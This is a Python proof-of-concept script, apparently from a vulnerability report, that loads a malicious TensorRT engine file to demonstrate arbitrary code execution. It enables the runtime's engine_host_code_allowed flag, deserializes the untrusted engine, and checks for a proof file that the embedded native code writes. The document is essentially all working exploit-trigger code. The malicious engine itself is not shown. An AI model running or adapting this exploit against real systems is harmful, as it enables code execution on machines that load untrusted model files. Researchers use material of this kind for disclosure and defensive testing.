File size: 2,403 Bytes
ae11452 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 | #!/usr/bin/env python3
"""
PoC Loader: Demonstrates RCE when loading a malicious TensorRT engine file.
Usage: python load_poc.py <path_to_malicious.engine>
"""
import os
import sys
import platform
def main():
if len(sys.argv) < 2:
print("Usage: python load_poc.py <path_to_malicious.engine>")
sys.exit(1)
engine_path = sys.argv[1]
if not os.path.exists(engine_path):
print(f"[!] File not found: {engine_path}")
sys.exit(1)
try:
import tensorrt as trt
except ImportError:
print("[!] tensorrt not installed: pip install tensorrt")
sys.exit(1)
is_windows = platform.system() == "Windows"
poc_file = "tensorrt_rce_poc.txt" if is_windows else "/tmp/tensorrt_rce_poc"
# Clean up any previous proof file
if os.path.exists(poc_file):
os.remove(poc_file)
print("=" * 70)
print("TensorRT Engine RCE PoC — Loading Malicious Engine")
print("=" * 70)
print()
print(f"[*] Engine file: {engine_path}")
print(f"[*] Engine size: {os.path.getsize(engine_path)} bytes")
print(f"[*] TensorRT version: {trt.__version__}")
print()
logger = trt.Logger(trt.Logger.INFO)
runtime = trt.Runtime(logger)
# THIS IS THE CRITICAL LINE — enables loading embedded native code
runtime.engine_host_code_allowed = True
print("[*] runtime.engine_host_code_allowed = True")
print("[*] Calling deserialize_cuda_engine()...")
print("[*] (If RCE works, you'll see output from the embedded code below)")
print()
with open(engine_path, "rb") as f:
engine_data = f.read()
# THIS TRIGGERS THE RCE
engine = runtime.deserialize_cuda_engine(engine_data)
print()
if engine:
print(f"[+] Engine loaded: {engine.num_io_tensors} I/O tensors")
else:
print("[*] Engine returned None (malicious code may still have executed)")
# Check proof file
if os.path.exists(poc_file):
print()
print("=" * 70)
print("[!!!] ARBITRARY CODE EXECUTION CONFIRMED")
print(f"[!!!] Proof file: {poc_file}")
print("=" * 70)
print()
with open(poc_file, "r") as f:
print(f.read())
else:
print()
print(f"[*] Proof file not found at {poc_file}")
print("[*] Check stderr output above for execution evidence")
if __name__ == "__main__":
main()
|